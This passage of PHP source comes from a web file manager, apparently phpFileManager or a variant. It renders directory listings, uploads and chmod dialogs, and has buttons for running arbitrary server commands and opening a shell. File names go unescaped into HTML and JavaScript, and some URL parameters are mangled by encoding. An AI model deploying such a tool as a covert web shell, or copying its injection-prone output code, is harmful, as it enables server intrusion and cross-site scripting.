case "5D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break;
case "6A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break;
case "6D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break;
case "7A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break;
case "7D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break;
}
}
$out .= "
<script language=\"Javascript\" type=\"text/javascript\">
<!--
function getCookieVal (offset) {
var endstr = document.cookie.indexOf (';', offset);
if (endstr == -1) endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function getCookie (name) {
var arg = name + '=';
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg) return getCookieVal (j);
i = document.cookie.indexOf(' ', i) + 1;
if (i == 0) break;
}
return null;
}
function setCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + '=' + escape (value) +
((expires == null) ? '' : ('; expires=' + expires.toGMTString())) +
((path == null) ? '' : ('; path=' + path)) +
((domain == null) ? '' : ('; domain=' + domain)) +
((secure == true) ? '; secure' : '');
}
function delCookie (name) {
var exp = new Date();
exp.setTime (exp.getTime() - 1);
var cval = GetCookie (name);
document.cookie = name + '=' + cval + '; expires=' + exp.toGMTString();
}
function go(arg) {
document.location.href='".$path_info["basename"]."?frame=3¤t_dir=$current_dir'+arg+'/';
}
function resolveIDs() {
document.location.href='".$path_info["basename"]."?frame=3&set_resolveIDs=1¤t_dir=$current_dir';
}
var entry_list = new Array();
// Custom object constructor
function entry(name, type, size, selected){
this.name = name;
this.type = type;
this.size = size;
this.selected = false;
}
// Declare entry_list for selection procedures";
foreach ($entry_list as $i=>$data){
$out .= "\nentry_list['entry$i'] = new entry('".$data["name"]."', '".$data["type"]."', ".$data["size"].", false);";
}
$out .= "
// Select/Unselect Rows OnClick/OnMouseOver
var lastRows = new Array(null,null);
function selectEntry(Row, Action){
var MarkColor = '#".$fm_color['Mark']."';
var Cells = Row.getElementsByTagName('td');
if (multipleSelection){
// Avoid repeated onmouseover events from same Row ( cell transition )
if (Row != lastRows[0]){
if (Action == 'over') {
if (entry_list[Row.id].selected){
if (entry_list[Row.id].type == 'dir') DefaultColor = '#".$fm_color['Dir']."';
else DefaultColor = '#".$fm_color['File']."';
if (unselect(entry_list[Row.id])) {
for (var c=0; c < ".(integer)$highlight_cols."; c++) {
if (c == 0 && entry_list[Row.id].type=='file' && !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#".$fm_color['FileFirstCell']."';
else Cells[c].style.backgroundColor = DefaultColor;
}
}
// Change the last Row when you change the movement orientation
if (lastRows[0] != null && lastRows[1] != null){
var LastRowID = lastRows[0].id;
var LastRowDefaultColor;
if (entry_list[LastRowID].type == 'dir') LastRowDefaultColor = '#".$fm_color['Dir']."';
else LastRowDefaultColor = '#".$fm_color['File']."';
if (Row.id == lastRows[1].id){
var LastRowCells = lastRows[0].getElementsByTagName('td');
if (unselect(entry_list[LastRowID])) {
for (var c=0; c < ".(integer)$highlight_cols."; c++) {
if (c == 0 && entry_list[LastRowID].type=='file' && !entry_list[LastRowID].selected) LastRowCells[c].style.backgroundColor = '#".$fm_color['FileFirstCell']."';
else LastRowCells[c].style.backgroundColor = LastRowDefaultColor;
}
}
}
}
} else {
if (select(entry_list[Row.id])){
for (var c=0; c < ".(integer)$highlight_cols."; c++) {
if (c == 0 && entry_list[Row.id].type=='file' && !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#".$fm_color['FileFirstCell']."';
else Cells[c].style.backgroundColor = MarkColor;
}
}
// Change the last Row when you change the movement orientation
if (lastRows[0] != null && lastRows[1] != null){
var LastRowID = lastRows[0].id;
if (Row.id == lastRows[1].id){
var LastRowCells = lastRows[0].getElementsByTagName('td');
if (select(entry_list[LastRowID])) {
for (var c=0; c < ".(integer)$highlight_cols."; c++) {
if (c == 0 && entry_list[LastRowID].type=='file' && !entry_list[LastRowID].selected) LastRowCells[c].style.backgroundColor = '#".$fm_color['FileFirstCell']."';
else LastRowCells[c].style.backgroundColor = MarkColor;
}
}
}
}
}
lastRows[1] = lastRows[0];
lastRows[0] = Row;
}
}
} else {
if (Action == 'click') {
var newColor = null;
if (entry_list[Row.id].selected){
var DefaultColor;
if (entry_list[Row.id].type == 'dir') DefaultColor = '#".$fm_color['Dir']."';
else DefaultColor = '#".$fm_color['File']."';
if (unselect(entry_list[Row.id])) newColor = DefaultColor;
} else {
if (select(entry_list[Row.id])) newColor = MarkColor;
}
if (newColor) {
lastRows[0] = lastRows[1] = Row;
for (var c=0; c < ".(integer)$highlight_cols."; c++) {
if (c == 0 && entry_list[Row.id].type=='file' && !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#".$fm_color['FileFirstCell']."';
else Cells[c].style.backgroundColor = newColor;
}
}
}
}
return true;
}
// Disable text selection and bind multiple selection flag
var multipleSelection = false;
if (is.ie) {
document.onselectstart=new Function('return false');
document.onmousedown=switch_flag_on;
document.onmouseup=switch_flag_off;
// Event mouseup is not generated over scrollbar.. curiously, mousedown is.. go figure.
window.onscroll=new Function('multipleSelection=false');
} else {
if (document.layers) window.captureEvents(Event.MOUSEDOWN);
if (document.layers) window.captureEvents(Event.MOUSEUP);
window.onmousedown=switch_flag_on;
window.onmouseup=switch_flag_off;
}
// Using same function and a ternary operator couses bug on double click
function switch_flag_on(e) {
lastRows[0] = lastRows[1] = null;
if (is.ie){
multipleSelection = (event.button == 1);
} else {
multipleSelection = (e.which == 1);
}
return false;
}
function switch_flag_off(e) {
if (is.ie){
multipleSelection = (event.button != 1);
} else {
multipleSelection = (e.which != 1);
}
return false;
}
var total_dirs_selected = 0;
var total_files_selected = 0;
function unselect(Entry){
if (!Entry.selected) return false;
Entry.selected = false;
sel_totalsize -= Entry.size;
if (Entry.type == 'dir') total_dirs_selected--;
else total_files_selected--;
update_sel_status();
return true;
}
function select(Entry){
if(Entry.selected) return false;
Entry.selected = true;
sel_totalsize += Entry.size;
if(Entry.type == 'dir') total_dirs_selected++;
else total_files_selected++;
update_sel_status();
return true;
}
function is_anything_selected(){
var selected_dir_list = new Array();
var selected_file_list = new Array();
for(var x=0;x<".(integer)count($entry_list).";x++){
if(entry_list['entry'+x].selected){
if(entry_list['entry'+x].type == 'dir') selected_dir_list.push(entry_list['entry'+x].name);
else selected_file_list.push(entry_list['entry'+x].name);
}
}
document.form_action.selected_dir_list.value = selected_dir_list.join('<|*|>');
document.form_action.selected_file_list.value = selected_file_list.join('<|*|>');
return (total_dirs_selected>0 || total_files_selected>0);
}
function formatsize (arg) {
var resul = '';
if (arg>0){
var j = 0;
var ext = new Array(' bytes',' Kb',' Mb',' Gb',' Tb');
while (arg >= Math.pow(1024,j)) ++j;
resul = (Math.round(arg/Math.pow(1024,j-1)*100)/100) + ext[j-1];
} else resul = '0 Mb';
return resul;
}
var sel_totalsize = 0;
function update_sel_status(){
var t = total_dirs_selected+' ".et('Dir_s')." ".et('And')." '+total_files_selected+' ".et('File_s')." ".et('Selected_s')." = '+formatsize(sel_totalsize);
document.getElementById(\"sel_status\").innerHTML = t;
}
// Select all/none/inverse
function selectANI(Butt){
var MarkColor = '#".$fm_color['Mark']."';
for(var x=0;x<". (integer)count($entry_list).";x++){
if (entry_list['entry'+x].type == 'dir'){
var DefaultColor = '#".$fm_color['Dir']."';
} else {
var DefaultColor = '#".$fm_color['File']."';
}
var Row = document.getElementById('entry'+x);
var Cells = Row.getElementsByTagName('td');
var newColor = null;
switch (Butt.value){
case '".et('SelAll')."':
if (select(entry_list[Row.id])) newColor = MarkColor;
break;
case '".et('SelNone')."':
if (unselect(entry_list[Row.id])) newColor = DefaultColor;
break;
case '".et('SelInverse')."':
if (entry_list[Row.id].selected){
if (unselect(entry_list[Row.id])) newColor = DefaultColor;
} else {
if (select(entry_list[Row.id])) newColor = MarkColor;
}
break;
}
if (newColor) {
for (var c=0; c < ".(integer)$highlight_cols."; c++) {
if (entry_list[Row.id].type=='file' && c==0 && !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#". $fm_color['FileFirstCell']."';
else Cells[c].style.backgroundColor = newColor;
}
}
}
if (Butt.value == '".et('SelAll')."'){
Butt.value = '".et('SelNone')."';
} else if (Butt.value == '".et('SelNone')."'){
Butt.value = '".et('SelAll')."';
}
return true;
}
function download(arg){
parent.frame1.location.href='".$path_info["basename"]."?action=3¤t_dir=$current_dir&filename='+escape(arg);
}
function execute(){
document.form_action.cmd_arg.value = prompt('".et('TypeCmd').".');
if(document.form_action.cmd_arg.value.length>0){
if(confirm('".et('ConfExec')." \\' '+document.form_action.cmd_arg.value+' \\' ?')) {
var w = 800;
var h = 600;
window.open('".$path_info["basename"]."?action=6¤t_dir=$current_dir&cmd='+escape(document.form_action.cmd_arg.value), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
}
}
}
function decompress(arg){
if(confirm('".strtoupper(et('Decompress'))." \\' '+arg+' \\' ?')) {
document.form_action.action.value = 72;
document.form_action.cmd_arg.value = arg;
document.form_action.submit();
}
}
function edit_file(arg){
var w = 800;
var h = 600;
if(confirm('".strtoupper(et('Edit'))." \\' '+arg+' \\' ?')) window.open('".$path_info["basename"]."?action=7¤t_dir=$current_dir&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
}
function tools(){
var w = 900;
var h = 750;
window.open('".$path_info["basename"]."?action=11', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
}
function view(arg){
var w = 800;
var h = 600;
if(confirm('".strtoupper(et('View'))." \\' '+arg+' \\' ?')) window.open('".$path_info["basename"]."?action=4¤t_dir=$current_dir&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=no,menubar=no,location=yes');
}
function rename(arg){
var nome = '';
if (nome = prompt('".strtoupper(et('Ren'))." \\' '+arg+' \\' ".et('To')." ...')) document.location.href='".$path_info["basename"]."?frame=3&action=3¤t_dir=$current_dir&old_name='+escape(arg)+'&new_name='+escape(nome);
}
function set_dir_dest(arg){
document.form_action.dir_dest.value=arg;
if (document.form_action.action.value.length>0) test(document.form_action.action.value);
else alert('".et('JSError').".');
}
function sel_dir(arg){
document.form_action.action.value = arg;
document.form_action.dir_dest.value='';
if (!is_anything_selected()) alert('".et('NoSel').".');
else {
if (!getCookie('sel_dir_warn')) {
alert('".et('SelDir').".');
document.cookie='sel_dir_warn'+'='+escape('true')+';';
}
parent.frame2.set_flag(true);
}
}
function shell(){
var w = 700;
var h = 500;
window.open('".$path_info["basename"]."?action=9', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
}
function server_info(arg){
var w = 800;
var h = 600;
window.open('".$path_info["basename"]."?action=5', 'win_serverinfo', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
}
function set_chmod_arg(arg){
document.form_action.chmod_arg.value=arg;
if (document.form_action.action.value.length>0) test(document.form_action.action.value);
else alert('".et('JSError')."');
}
function chmod(arg){
document.form_action.action.value = arg;
document.form_action.dir_dest.value='';
document.form_action.chmod_arg.value='';
if (!is_anything_selected()) alert('".et('NoSel').".');
else {
var w = 280;
var h = 180;
window.open('".$path_info["basename"]."?action=8', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
}
}
function test_action(){
if (document.form_action.action.value != 0) return true;
else return false;
}
function test_prompt(arg){
var erro='';
var conf='';
if (arg == 1){
document.form_action.cmd_arg.value = prompt('".et('TypeDir').".');
} else if (arg == 2){
document.form_action.cmd_arg.value = prompt('".et('TypeArq').".');
} else if (arg == 71){
if (!is_anything_selected()) erro = '".et('NoSel').".';
else document.form_action.cmd_arg.value = prompt('".et('TypeArqComp')."');
}
if (erro!=''){
document.form_action.cmd_arg.focus();
alert(erro);
} else if(document.form_action.cmd_arg.value.length>0) {
document.form_action.action.value = arg;
document.form_action.submit();
}
}
function strstr(haystack,needle){
var index = haystack.indexOf(needle);
return (index==-1)?false:index;
}
function valid_dest(dest,orig){
return (strstr(dest,orig)==false)?true:false;
}
// ArrayAlert - Selection debug only
function aa(){
var str = 'selected_dir_list:\\n';
for (x=0;x<selected_dir_list.length;x++){
str += selected_dir_list[x]+'\\n';
}
str += '\\nselected_file_list:\\n';
for (x=0;x<selected_file_list.length;x++){
str += selected_file_list[x]+'\\n';
}
alert(str);
}
function test(arg){
var erro='';
var conf='';
if (arg == 4){
if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
conf = '".et('RemSel')." ?\\n';
} else if (arg == 5){
if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
else if(document.form_action.dir_dest.value == document.form_action.dir_atual.value) erro = '".et('DestEqOrig').".';
else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.dir_atual.value)) erro = '".et('InvalidDest').".';
conf = '".et('CopyTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
} else if (arg == 6){
if (!is_anything_selected()) erro = '".et('NoSel').".';
else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
else if(document.form_action.dir_dest.value == document.form_action.dir_atual.value) erro = '".et('DestEqOrig').".';
else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.dir_atual.value)) erro = '".et('InvalidDest').".';
conf = '".et('MoveTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
} else if (arg == 9){
if (!is_anything_selected()) erro = '".et('NoSel').".';
else if(document.form_action.chmod_arg.value.length == 0) erro = '".et('NoNewPerm').".';
conf = '".et('AlterPermTo')." \\' '+document.form_action.chmod_arg.value+' \\' ?\\n';
}
if (erro!=''){
document.form_action.cmd_arg.focus();
alert(erro);
} else if(conf!='') {
if(confirm(conf)) {
document.form_action.action.value = arg;
document.form_action.submit();
}
} else {
document.form_action.action.value = arg;
document.form_action.submit();
}
}
function upload(){
var w = 400;
var h = 200;
window.open('".$path_info["basename"]."?action=10¤t_dir=$current_dir', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
}
//-->
</script>";
$out .= "
<form name=\"form_action\" action=\"".$path_info["basename"]."\" method=\"post\" onsubmit=\"return test_action();\">
<input type=hidden name=\"frame\" value=3>
<input type=hidden name=\"action\" value=0>
<input type=hidden name=\"dir_dest\" value=\"\">
<input type=hidden name=\"chmod_arg\" value=\"\">
<input type=hidden name=\"cmd_arg\" value=\"\">
<input type=hidden name=\"dir_atual\" value=\"$current_dir\">
<input type=hidden name=\"dir_antes\" value=\"".@$dir_antes."\">
<input type=hidden name=\"selected_dir_list\" value=\"\">
<input type=hidden name=\"selected_file_list\" value=\"\">";
$out .= "
<tr>
<td bgcolor=\"#000000\" colspan=20><nobr>
<input type=button onclick=\"test_prompt(1)\" value=\"".et('CreateDir')."\">
<input type=button onclick=\"test_prompt(2)\" value=\"".et('CreateArq')."\">
<input type=button onclick=\"execute()\" value=\"".et('ExecCmd')."\">
<input type=button onclick=\"shell()\" value=\"".et('Shell')."\">
<input type=button onclick=\"server_info()\" value=\"".et('ServerInfo')."\">
<input type=button onclick=\"tools()\" value=\"Tools\">
<input type=button onclick=\"upload()\" value=\"".et('Upload')."\">
<b>$ip</b>
<div id='example2'></div>
</nobr>";
if ($current_dir != $fm_root_atual){
$mat = explode("/",$current_dir);
$dir_antes = "";
for($x=0;$x<(count($mat)-2);$x++) $dir_antes .= $mat[$x]."/";
$uplink = "<a href=\"".$path_info["basename"]."?frame=3¤t_dir=$dir_antes\"><<</a> ";
}
if($entry_count){
$out .= "
<tr><td bgcolor=\"#000000\" colspan=20><nobr>$uplink <a href=\"".$path_info["basename"]."?frame=3¤t_dir=$current_dir\">$current_dir</a></nobr>
<tr>
<td bgcolor=\"#000000\" colspan=20><nobr>
<input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelAll')."\">
<input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
<input type=\"button\" style=\"width:60\" onclick=\"test(4)\" value=\"".et('Rem')."\">
<input type=\"button\" style=\"width:60\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
<input type=\"button\" style=\"width:60\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
<input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";
if ($islinux) $out .= "
<input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";
$out .= "
<input type=\"button\" style=\"width:100\" onclick=\"chmod(9)\" value=\"".et('Perms')."\">";
$out .= "
</nobr>
<tr><td bgcolor=\"#000000\" colspan=20><DIV ID=\"sel_status\"></DIV></td></tr>";
$dir_out="";
$file_out="";
foreach ($entry_list as $ind=>$dir_entry) {
$file = $dir_entry["name"];
if ($dir_entry["type"]=="dir"){
$dir_out .= "
<tr ID=\"entry$ind\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
<td align=left bgcolor=\"#".$fm_color['Dir']."\"><nobr><a href=\"JavaScript:go('$file')\">$file</a></nobr>
<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["p"];
if ($islinux) $dir_out .= "<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["u"]."<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["g"];
$dir_out .= "
<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["sizet"]."
<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["datet"];
if ($file_count) $dir_out .= "
<td bgcolor=\"#".$fm_color['Dir']."\" align=center>";
// Op�es de diret�rio
if ( is_writable($current_dir.$file) ) $dir_out .= "
<td bgcolor=\"#FFFFFF\" align=center><a href=\"JavaScript:if(confirm('".et('ConfRem')." \\'".$file."\\' ?')) document.location.href='".$path_info["basename"]."?frame=3&action=8&cmd_arg=".$file."¤t_dir=$current_dir'\">".et('Rem')."</a>
<td bgcolor=\"#FFFFFF\" align=center><a href=\"JavaScript:rename('$file')\">".et('Ren')."</a>";
$dir_out .= "
</tr>";
} else {
$file_out .= "
<tr ID=\"entry$ind\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
<td align=left bgcolor=\"#FFFFFF\"><nobr><a href=\"JavaScript:download('$file')\">$file</a></nobr>
<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["p"];
if ($islinux) $file_out .= "<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["u"]."<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["g"];
$file_out .= "
<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["sizet"]."
<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["datet"]."
<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["extt"];
// Op�es de arquivo
if ( is_writable($current_dir.$file) ) $file_out .= "
<td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:if(confirm('".strtoupper(et('Rem'))." \\'".$file."\\' ?')) document.location.href='".$path_info["basename"]."?frame=3&action=8&cmd_arg=".$file."¤t_dir=$current_dir'\">".et('Rem')."</a>
<td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:rename('$file')\">".et('Ren')."</a>";
if ( is_readable($current_dir.$file) && (strpos(".wav#.mp3#.mid#.avi#.mov#.mpeg#.mpg#.rm#.iso#.bin#.img#.dll#.psd#.fla#.swf#.class#.ppt#.jpg#.gif#.png#.wmf#.eps#.bmp#.msi#.exe#.com#.rar#.tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) === false)) $file_out .= "
<td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:edit_file('$file')\">".et('Edit')."</a>";
if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) !== false)) $file_out .= "
<td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:decompress('$file')\">".et('Decompress')."</a>";
if( $is_reachable && is_readable($current_dir.$file) && (strpos(".txt#.sys#.bat#.ini#.conf#.swf#.php#.php3#.asp#.html#.htm#.jpg#.gif#.png#.bmp#", $dir_entry["ext"]."#" ) !== false)) $file_out .= "
<td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:view('$file');\">".et('View')."</a>";
$file_out .= "</tr>";
}
}
$out .= $dir_out;
if ($entry_count){
$out .= "
<tr>
<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or1¤t_dir=$current_dir\">".et('Name')."</a>
<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or2¤t_dir=$current_dir\">".et('Perms')."</a>";
if ($islinux) $out .= "<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or3¤t_dir=$current_dir\">".et('Owner')."</a><td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or4¤t_dir=$current_dir\">".et('Group')."</a>";
$out .= "
<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or5¤t_dir=$current_dir\">".et('Size')."</a>
<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or6¤t_dir=$current_dir\">".et('Date')."</a>";
if ($file_count) $out .= "
<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or7¤t_dir=$current_dir\">".et('Type')."</a>";
$out .= "
<td bgcolor=\"#000000\" colspan=20>";
}
$out .= $file_out;
$out .= "
<tr>
<td bgcolor=\"#000000\" colspan=20><nobr>
<input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelAll')."\">
<input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
<input type=\"button\" style=\"width:60\" onclick=\"test(4)\" value=\"".et('Rem')."\">
<input type=\"button\" style=\"width:60\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
<input type=\"button\" style=\"width:60\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
<input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";
if ($islinux) $out .= "
<input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";
$out .= "
<input type=\"button\" style=\"width:100\" onclick=\"chmod(9)\" value=\"".et('Perms')."\">";
$out .= "
</nobr></td>
</tr>";
$out .= "
</form>";
$out .= "
<tr><td bgcolor=\"#000000\" colspan=20>$dir_count ".et('Dir_s')." ".et('And')." $file_count ".et('File_s')." = ".formatsize($total_size)."</td></tr>";
if ($quota_mb) {
$out .= "
<tr><td bgcolor=\"#000000\" colspan=20>".et('Partition').": ".formatsize(($quota_mb*1024*1024))." ".et('Total')." - ".formatsize(($quota_mb*1024*1024)-total_size($fm_root_atual))." ".et('Free')."</td></tr>";
} else {
$out .= "
<tr><td bgcolor=\"#000000\" colspan=20>".et('Partition').": ".formatsize(disk_total_space($current_dir))." ".et('Total')." - ".formatsize(disk_free_space($fm_root_atual))." ".et('Free')."</td></tr>";
}
$tf = getmicrotime();
$tt = ($tf - $ti);
$out .= "
<tr><td bgcolor=\"#000000\" colspan=20>".et('RenderTime').": ".substr($tt,0,strrpos($tt,".")+5)." ".et('Seconds')."</td></tr>";
$out .= "
<script language=\"Javascript\" type=\"text/javascript\">
<!--
update_sel_status();
//-->
</script>";
} else {
$out .= "
<tr>
<td bgcolor=\"#000000\" width=\"1%\">$uplink<td bgcolor=\"#000000\" colspan=20><nobr><a href=\"".$path_info["basename"]."?frame=3¤t_dir=$current_dir\">$current_dir</a></nobr>
<tr><td bgcolor=\"#000000\" colspan=20>".et('EmptyDir').".</tr>";
}
} else $out .= "<tr><td><font color=red>".et('IOError').".<br>$current_dir</font>";
$out .= "</table>";
echo $out;
}
function upload_form(){
global $_FILES,$current_dir,$dir_dest,$fechar,$quota_mb,$path_info;
$num_uploads = 5;
html_header();
echo "<body marginwidth=\"0\" marginheight=\"0\">";
if (count($_FILES)==0){
echo "
<table bordercolor=ffffff height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
<form name=\"upload_form\" action=\"".$path_info["basename"]."\" method=\"post\" ENCTYPE=\"multipart/form-data\">
<input type=hidden name=dir_dest value=\"$current_dir\">
<input type=hidden name=action value=10>
<tr><th colspan=2>".et('Upload')."</th></tr>
<tr><td align=right><b>".et('Destination').":<td><b><nobr>$current_dir</nobr>";
for ($x=0;$x<$num_uploads;$x++){
echo "<tr><td width=1 align=right><b>".et('File').":<td><nobr><input type=\"file\" name=\"file$x\"></nobr>";
@$test_js .= "(document.upload_form.file$x.value.length>0)||";
}
echo "
<input type=button value=\"".et('Send')."\" onclick=\"test_upload_form()\"></nobr>
<tr><td> <td><input type=checkbox name=fechar value=\"1\"> <a href=\"JavaScript:troca();\">".et('AutoClose')."</a>
<tr><td colspan=2> </td></tr>
</form>
</table>
<script language=\"Javascript\" type=\"text/javascript\">
<!--
function troca(){
if(document.upload_form.fechar.checked){document.upload_form.fechar.checked=false;}else{document.upload_form.fechar.checked=true;}
}
foi = false;
function test_upload_form(){
if(".substr($test_js,0,strlen($test_js)-2)."){
if (foi) alert('".et('SendingForm')."...');
else {
foi = true;
document.upload_form.submit();
}
} else alert('".et('NoFileSel').".');
}
window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
//-->
</script>";
} else {
$out = "<tr><th colspan=2>".et('UploadEnd')."</th></tr>
<tr><th colspan=2><nobr>".et('Destination').": $dir_dest</nobr>";
for ($x=0;$x<$num_uploads;$x++){
$temp_file = $_FILES["file".$x]["tmp_name"];
$filename = $_FILES["file".$x]["name"];
if (strlen($filename)) $resul = save_upload($temp_file,$filename,$dir_dest);
else $resul = 7;
switch($resul){
case 1:
$out .= "<tr><td><b>".strzero($x+1,3).".<font color=green><b> ".et('FileSent').":</font><td>".$filename."</td></tr>\n";
break;
case 2:
$out .= "<tr><td colspan=2><font color=red><b>".et('IOError')."</font></td></tr>\n";
$x = $upload_num;
break;
case 3:
$out .= "<tr><td colspan=2><font color=red><b>".et('SpaceLimReached')." ($quota_mb Mb)</font></td></tr>\n";
$x = $upload_num;
break;
case 4:
$out .= "<tr><td><b>".strzero($x+1,3).".<font color=red><b> ".et('InvExt').":</font><td>".$filename."</td></tr>\n";
break;
case 5:
$out .= "<tr><td><b>".strzero($x+1,3).".<font color=red><b> ".et('FileNoOverw')."</font><td>".$filename."</td></tr>\n";
break;
case 6:
$out .= "<tr><td><b>".strzero($x+1,3).".<font color=green><b> ".et('FileOverw').":</font><td>".$filename."</td></tr>\n";
break;
case 7:
$out .= "<tr><td colspan=2><b>".strzero($x+1,3).".<font color=red><b> ".et('FileIgnored')."</font></td></tr>\n";
}
}
if ($fechar) {
echo "
<script language=\"Javascript\" type=\"text/javascript\">
<!--
window.close();
//-->
</script>
";
} else {
echo "
<table bordercolor=ffffff height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
$out
<tr><td colspan=2> </td></tr>
</table>
<script language=\"Javascript\" type=\"text/javascript\">
<!--
window.focus();
//-->
</script>
";
}
}
echo "</body>\n</html>";
}
function chmod_form(){
$aux = "
<script language=\"Javascript\" type=\"text/javascript\">
<!--
function octalchange()
{
var val = document.chmod_form.t_total.value;
var stickybin = parseInt(val.charAt(0)).toString(2);
var ownerbin = parseInt(val.charAt(1)).toString(2);
while (ownerbin.length<3) { ownerbin=\"0\"+ownerbin; };
var groupbin = parseInt(val.charAt(2)).toString(2);
while (groupbin.length<3) { groupbin=\"0\"+groupbin; };
var otherbin = parseInt(val.charAt(3)).toString(2);
while (otherbin.length<3) { otherbin=\"0\"+otherbin; };
document.chmod_form.sticky.checked = parseInt(stickybin.charAt(0));
document.chmod_form.owner4.checked = parseInt(ownerbin.charAt(0));
document.chmod_form.owner2.checked = parseInt(ownerbin.charAt(1));
document.chmod_form.owner1.checked = parseInt(ownerbin.charAt(2));
document.chmod_form.group4.checked = parseInt(groupbin.charAt(0));
document.chmod_form.group2.checked = parseInt(groupbin.charAt(1));
document.chmod_form.group1.checked = parseInt(groupbin.charAt(2));
document.chmod_form.other4.checked = parseInt(otherbin.charAt(0));
document.chmod_form.other2.checked = parseInt(otherbin.charAt(1));
document.chmod_form.other1.checked = parseInt(otherbin.charAt(2));
calc_chmod(1);
};
